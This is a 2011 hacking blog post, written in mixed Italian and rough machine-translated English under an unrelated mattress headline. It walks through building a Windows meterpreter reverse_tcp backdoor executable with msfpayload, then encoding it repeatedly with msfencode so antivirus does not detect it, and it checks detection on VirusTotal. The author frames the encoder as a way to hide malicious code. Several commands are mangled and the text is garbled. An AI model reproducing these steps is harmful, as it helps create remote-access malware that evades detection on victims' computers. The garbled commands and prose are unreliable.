Tuesday, February 8, 2011

Can Tempurpedic Bed Cause Back Pain?

SAFETY: how to use an encoder (MSF) - [1 / 2]

Hello everyone, as you have noticed the blog is "dead" for quite a some time ...
This, of course, is because of school coming to the end of the first quarter made us sweat like pigs (no offense to pigs).
However, the topic of this article are the encoders of MSF (Metasploit Framework).
ATTENTION: The author of the Guide (

GHEBBO_HCK
) Assumption NOT ANY RESPONSIBILITY FOR 'INAPPROPRIATE USE OF THE INFORMATION CONTAINED HEREIN.


Before you begin to explain how to use ... COSA SERVONO?
Un encoder(o codificatore) serve a codificare un file(io inizialmente pensavo servisse a fare delle frittelle...).Questo ci permette di "nascondere" i nostri codici malevoli =).

Ma di cosa abbiamo bisogno per usare MSFEncode e come usarlo?
Per utilizzare MSFEncode abbiamo bisogno di:
•Backtrack 4 (
scarica qui!
)

•MSF(Metasploit Framework,di solito è pre-installato in Backtrack)
•Un payload( cos'è?
,come farne uno lo spiegerò più avanti nell'articolo)
•Un po di pazienza! Colgo l'occasione per ricordarvi che da un po di tempo è disponibile una nuova versione di Backtrack chiamata "Backtrack 4 Relase 2 Codename:Nemesis"(per informazioni aggiuntive su Backtrack visitare il sito ufficiale ).
Ora possiamo partire...
Dopo aver scaricato Backtrack(o averlo avviato) apriamo una konsole(ALT+F2 e digitiamo "konsole" o clickiamo sull'icona in basso)
poi navighiamo tramite i comandi:

cd <nome cartella/percorso>
spostati nella cartella indicata o nel percorso indicato
cd ..
moved to the earlier

ls displays a list of files / folders

Now that we know the commands to "move" with the konsole we move in the path:
"/ pentest/exploits/framework3 /".
-msfcli
-msfconsole -msfencode
-and more ...

Go ahead ...
We need to create a payload (a single executable), type:
. / Msfpayload <percorso_payload(es.windows/meterpreter/reverse_tcp)> LHOST=<il_nostro_ip_locale> LPORT=<porta da dove "ascoltare"(default 4444)> X > NOME_File.exe

Ora lsciatemi spiegare cosa abbiamo fatto =).

./msfpayload è l'applicazione per creare un payload("./nomefile" serve per eseguire un eseguibile) .
<percorso_payload(es.windows/meterpreter/reverse_tcp)> è il percorso del payload da rendere eseguibile.
LHOST=<il_nostro_ip_locale> LPORT=<porta da dove "ascoltare"(default 4444)> sono i parametri che necessita il nostro payload.

X > NOME_File.exe
serve per creare un file eseguibile chiamato "NOME_File.exe".

Ora che abbiamo il payload non ci resta che testarlo.Andiamo sul sito www.virustotal.com che serve a eseguire la scanzione di file che si ritengono
sospetti,nel nostro caso,non sono sospetti,infatti sappiamo che contengono del codice malevolo,ecco il report del file(per chi fosse troppo pigro per farlo...)

Ora che samo certi che sia visto come virus(come se prima non lo sapessimo....) iniziamo to "encrypt".

In the same folder as before and in the same konsole ("/ pentest/exploits/framework3 /") type:



. / Msfpayload \u0026lt;percorso_payload (es.windows / meterpreter / reverse_tcp)> = LHOST \u0026lt;il_nostro_ip_locale> LPORT = port> where "ascoltare"(default 4444)> R

. / Msfpayload is the application to create a payload (". / Filename" is used to run an executable).
\u0026lt;percorso_payload(es.windows/meterpreter/reverse_tcp)>
is the location of the payload to make it executable.
LHOST = = \u0026lt;il_nostro_ip_locale> LPORT port> where "ascoltare"(default 4444)>
are the parameters that require a payload.
. / Msfencode
is the application that encrypts files.

exe-t is the type of format we want, in our case. Exe (executable for windows).
-o NomeFileCriptato.exe
serves to create a new file "scrambled".

-c \u0026lt;number>
used to indicate how many times the file must be "scrambled", the more the number is greater than the weight increase of the file (so use it with parsmonia: a 10GB file may not be found by antivirus , but will do a lot of suspicious people).
Ok, now we can do is ... try to find the appropriate number with 5.
. / Msfpayload windows / meterpreter / reverse_tcp LHOST LPORT = 10.0.2.15 = 4444 R LHOST=<il_nostro_ip_locale> LPORT=<porta da dove "ascoltare"(default 4444)>R be more specific "virus") you can use many different encoders, to get a list of all those built in MSF typed (always in the "pentest/exploits/framework3):

. /-l msfencode



where
. / msfencode
is the application.
-l is the command to display a list of available encoders.
* Backdoor: A backdoor is a file / virus that allows us to access the computer that is running.
For now we end up here! I'm working the second part of the guide, after all this time it takes me a while to get going .... hehehehe
not think I need to repeat it but I do it: If you notice something wrong please let me!

0 comments:

Post a Comment